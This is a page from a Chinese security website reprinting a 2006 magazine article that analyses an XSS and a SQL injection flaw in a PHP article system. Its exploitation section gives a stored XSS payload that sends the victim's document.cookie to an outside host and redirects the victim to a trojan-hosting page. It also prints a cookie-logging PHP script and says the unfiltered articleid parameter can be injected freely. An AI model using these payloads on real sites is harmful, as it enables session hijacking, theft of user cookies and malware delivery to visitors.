通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 原创精华 >> 文章正文
推荐:夜猫文章系统Version 2.1.0跨站及注入漏洞
责任编辑:古典辣M°   更新日期:2006-1-3
 

文章已发表于<<黑客x档案>>2006年第一期
  跨站漏洞:夜猫文章系统的代码量不是很大,那我们就从最基本的开始吧,打开注册页面register.php看到如下代码if ($_POST[action] == "adduser"):

?>

<br><br><br><center><table cellpadding=4 cellspacing=1 border=0 width=70%>
<tr><td bgcolor=#878787 align=center>
<font color=white>用户注册登记</font>
</td></tr>
<tr><td bgcolor=#efefef>

<?
  $birthday = $b_year."-".$b_month."-".$b_day;
register($setting[user_reg_usergroupid],$_POST[username],$_POST[password],$_POST[email],$_POST[sex],$_POST[birthday],$_POST[homepage],$_POST[icq],$_POST[oicq],$_POST[race],$_POST[signature],$_POST[ipaddress],$_POST[realname],$_POST[realname1],$_POST[organization],$_POST[organization1],$_POST[country],$_POST[country1],$_POST[province],$_POST[province1],$_POST[city],$_POST[city1],$_POST[address],$_POST[address1],$_POST[zip],$_POST[phone],$_POST[fax],$_POST[idnumber],$_POST[referrerid]);
?>

是用一个专门的函数register()来进行提交,大概看了一下提交的变量,第一个user_reg_usergroupid好象有点名堂可惜不是我们提交的,而且我们也不能伪造,那我们就看看这个注册函数怎么定义的,打开function.php看到如下代码(代码太长这里只给出关键的语句):

$sql = "INSERT INTO $ymcity_user_table (usergroupid,username,password,email,sex,birthday,homepage,icq,oicq,race,experience,money,signature,joindate,ipaddress,realname,realname1,organization,organization1,country,country1,province,province1,city,city1,address,address1,zip,phone,fax,idnumber,referrerid) VALUES ('$usergroupid','$username','$password','$email','$sex','$birthday','$homepage','$icq','$oicq','$race','$experience','$money','$signature','$timenow','$ipaddress','$realname','$realname1','$organization','$organization1','$country','$country1','$province','$province1','$city','$city1','$address','$address1','$zip','$phone','$fax','$idnumber','$referrerid')";
mysql_db_query($dbname,$sql);

函数直接获取我们提交的变量然后就大大方方的插入到数据库里了,并没有任何想过滤的意思,这样当我们注册资料时,所有提交都会原封不动的写进数据库里,当我们尝试访问注册信息时,如果我们写的是跨站代码,就会被浏览器就会解析掉,漏洞就产生了
--------------------------------------------
  利用方法:<div>标记可以包围任意种类的HTML标记,它会对处于它起始标记到结束标记之间的所有标记起作用,对<script>当然也可以了,我们可以这样写,为了让大家看清楚我把功能分开写
<div align=center><script>windows.open('http://www.hackerxfiles.com/cookie.php?'+document.cookie);</script>
<script>alert('X档案的地盘!');self.location='http://www.hackerxfiles.com/muma.htm/';</script></div>其中http://www.hackerxfiles.com/cookie.php是假设我们偷cookie的页面,cookie.php代码如下:<?php
$cookie=getenv("QUERY_STRING");
  if($cookie){
  $cookie=urldecode($cookie);}
  $fp=@fopen("xY7.txt","a+");
  @fwrite($fp,$cookie;"\n");
  @fclose($fp);
?>这样我们偷的cookie就会写到xY7.txt里了,之后会谈出一个提示框,点确定后就会转到我们假设挂马的页面http://www.hackerxfiles.com/muma.htm了.
--------------------------------------------
  注入漏洞漏洞页面article.php第36行开始,代码如下:
  if ($_GET[articleid] > "0"):
   $sql = "SELECT * FROM $ymcity_article_table WHERE articleid='$_GET[articleid]'";
   $result = mysql_db_query($dbname, $sql);
   $row = mysql_fetch_array($result);
程序并没有过滤articleid这个变量,我们就可以随便注了...-_-   

 

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章REAL蛀虫利用播放器漏洞下载恶意程序
    普通文章李彦宏:中国要在互联网领域逐渐超越美国
    普通文章马云:阿里巴巴的成功是一个生态链的成功
    普通文章Ingres用户认证非授权访问漏洞
    普通文章TCPreen FD_SET()函数远程栈溢出漏洞
    普通文章Winace UUE文件解压堆溢出漏洞
    普通文章Pclxav木马猎手第一代特征码引擎源代码
    普通文章IE收藏夹管理小精灵算法分析
    普通文章Extra Drive Pro算法分析历程
    普通文章雨过天晴自我注册
    精彩专题